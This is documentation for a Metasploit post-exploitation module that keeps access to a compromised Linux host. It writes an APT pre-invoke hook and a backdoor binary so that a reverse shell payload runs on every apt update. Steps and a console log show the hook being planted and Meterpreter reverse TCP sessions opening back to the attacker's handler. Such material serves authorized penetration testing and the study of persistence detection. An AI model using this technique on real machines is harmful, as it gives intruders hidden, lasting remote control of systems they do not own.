metasploit-gs/documentation/modules/exploit/linux/local/apt_package_manager_persistence.md

## Description

This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
exploit/multi/handler to connect. This module creates a pre-invoke hook
for APT in apt.conf.d. The hook name syntax is numeric followed by text.

## Verification Steps

1. Exploit a box that uses APT
2. `use linux/local/apt_package_manager_persistence`
3. `set SESSION <id>`
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
5. `exploit`

When the system runs apt-get update the payload will launch.  You must set handler accordingly.

## Options

**BACKDOOR_NAME**

Name of backdoor executable

**HOOKNAME**

Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/. Pre-invoke hook name syntax is numeric followed by text.

**WritableDir**

Writable directory for backdoor default is (/usr/local/bin/)

## Scenarios

### Tested on Ubuntu 18.04.2 LTS

```
msf5 > use exploit/linux/local/apt_package_manager_persistence
msf5 exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444
[*] Payload handler running as background job 0.
msf5 exploit(linux/local/apt_package_manager_persistence) > 
[*] Started reverse TCP handler on 172.22.222.136:4444 
[*] Sending stage (985320 bytes) to 172.22.222.130
[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.130:60526) at 2019-04-26 13:04:33 -0500

msf5 exploit(linux/local/apt_package_manager_persistence) > set session 1
session => 1
msf5 exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp 
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136 
lhost => 172.22.222.136
msf5 exploit(linux/local/apt_package_manager_persistence) > set lport 4444
lport => 4444
msf5 exploit(linux/local/apt_package_manager_persistence) > exploit

[*] Attempting to write hook:
[*] Wrote /etc/apt/apt.conf.d/34bmUIzfd
[*] Backdoor uploaded /usr/local/bin/dbmqKeh6U9
[*] Backdoor will run on next APT update
msf5 exploit(linux/local/apt_package_manager_persistence) > 
[*] Sending stage (985320 bytes) to 172.22.222.130
[*] Meterpreter session 2 opened (172.22.222.136:4444 -> 172.22.222.130:60528) at 2019-04-26 13:05:17 -0500

msf5 exploit(linux/local/apt_package_manager_persistence) >
```

Note: Second session comes in after running `apt update` on the remote host